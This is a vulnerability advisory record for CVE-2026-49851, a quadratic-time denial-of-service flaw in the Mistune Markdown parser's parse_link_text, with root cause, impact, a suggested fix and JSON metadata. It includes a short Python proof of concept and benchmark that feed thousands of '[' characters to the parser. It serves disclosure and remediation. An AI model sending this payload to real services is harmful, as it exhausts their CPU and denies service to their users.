GHSA-QCQ2-496W-V96P
Vulnerability from github – Published: 2026-07-09 23:52 – Updated: 2026-07-09 23:52
VLAI
Summary
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
Details
Summary
Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.
Affected component
mistune/inline_parser.py → parse_link_text
Description
When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.
Root cause
The vulnerability stems from a two-loop interaction:
- The outer loop in InlineParser.parse() (inline_parser.py) advances
only 1 character at a time when parse_link() returns None
- Each failed attempt calls parse_link_text() which performs an O(n)
scan to the end of the string looking for a closing ]
- With n consecutive [ characters, this results in O(n) × O(n) = O(n²)
total work
PoC
Run below python script
import mistune
import time
md = mistune.create_markdown()
s = "[" * 6400
t = time.perf_counter()
md(s)
print(time.perf_counter() - t)
Benmark poc Run below code for benchmark
import mistune
import time
md = mistune.create_markdown()
sizes = [100,200,400,800,1600,3200,6400]
for n in sizes:
s = "[" * n
t0 = time.perf_counter()
md(s)
dt = time.perf_counter() - t0
print(f"{n:6d} {dt:.6f}")
Observed behaviour
python3 benchmark.py
100 0.001609
200 0.003207
400 0.012906
800 0.050220
1600 0.197307
3200 0.801172
6400 3.190393
Execution time grows superlinearly, consistent with O(n²) complex
Impact
This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:
- Web applications (comments, posts, content rendering)
- API services processing Markdown
- Documentation rendering systems
- A small (~6 KB) payload can block CPU for multiple seconds.
Suggested fix
Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time
Security Classification
CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49851"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:52:27Z",
"nvd_published_at": "2026-06-24T18:17:18Z",
"severity": "HIGH"
},
"details": "### Summary\nMistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n\u00b2)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.\n\n### Affected component\nmistune/inline_parser.py \u2192 **parse_link_text**\n\n### Description\nWhen parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior.\nAn attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.\n\n### Root cause\nThe vulnerability stems from a two-loop interaction:\n- The outer loop in `InlineParser.parse()` (inline_parser.py) advances \n only 1 character at a time when parse_link() returns None\n- Each failed attempt calls `parse_link_text()` which performs an O(n) \n scan to the end of the string looking for a closing `]`\n- With n consecutive `[` characters, this results in O(n) \u00d7 O(n) = O(n\u00b2) \n total work\n\n### PoC\nRun below python script\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\ns = \"[\" * 6400\n\nt = time.perf_counter()\nmd(s)\nprint(time.perf_counter() - t)\n```\n\u003cimg width=\"2028\" height=\"1277\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06\" /\u003e\n\n**Benmark poc**\nRun below code for benchmark\n```\nimport mistune\nimport time\n\nmd = mistune.create_markdown()\n\nsizes = [100,200,400,800,1600,3200,6400]\n\nfor n in sizes:\n s = \"[\" * n\n\n t0 = time.perf_counter()\n md(s)\n dt = time.perf_counter() - t0\n\n print(f\"{n:6d} {dt:.6f}\")\n```\n\u003cimg width=\"2503\" height=\"1341\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e\" /\u003e\n\n\n### Observed behaviour\n```\npython3 benchmark.py \n 100 0.001609\n 200 0.003207\n 400 0.012906\n 800 0.050220\n 1600 0.197307\n 3200 0.801172\n 6400 3.190393\n```\nExecution time grows superlinearly, consistent with O(n\u00b2) complex\n\n### Impact\nThis can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:\n\n- Web applications (comments, posts, content rendering)\n- API services processing Markdown\n- Documentation rendering systems\n- A small (~6 KB) payload can block CPU for multiple seconds.\n\n### Suggested fix\nReturn the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time\n\n### Security Classification\nCWE-400: Uncontrolled Resource Consumption\nDenial of Service (CPU exhaustion)",
"id": "GHSA-qcq2-496w-v96p",
"modified": "2026-07-09T23:52:28Z",
"published": "2026-07-09T23:52:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-qcq2-496w-v96p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49851"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-49851"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2492304"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-49851.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": " Mistune: Potential DoS via quadratic-time parsing in parse_link_text"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…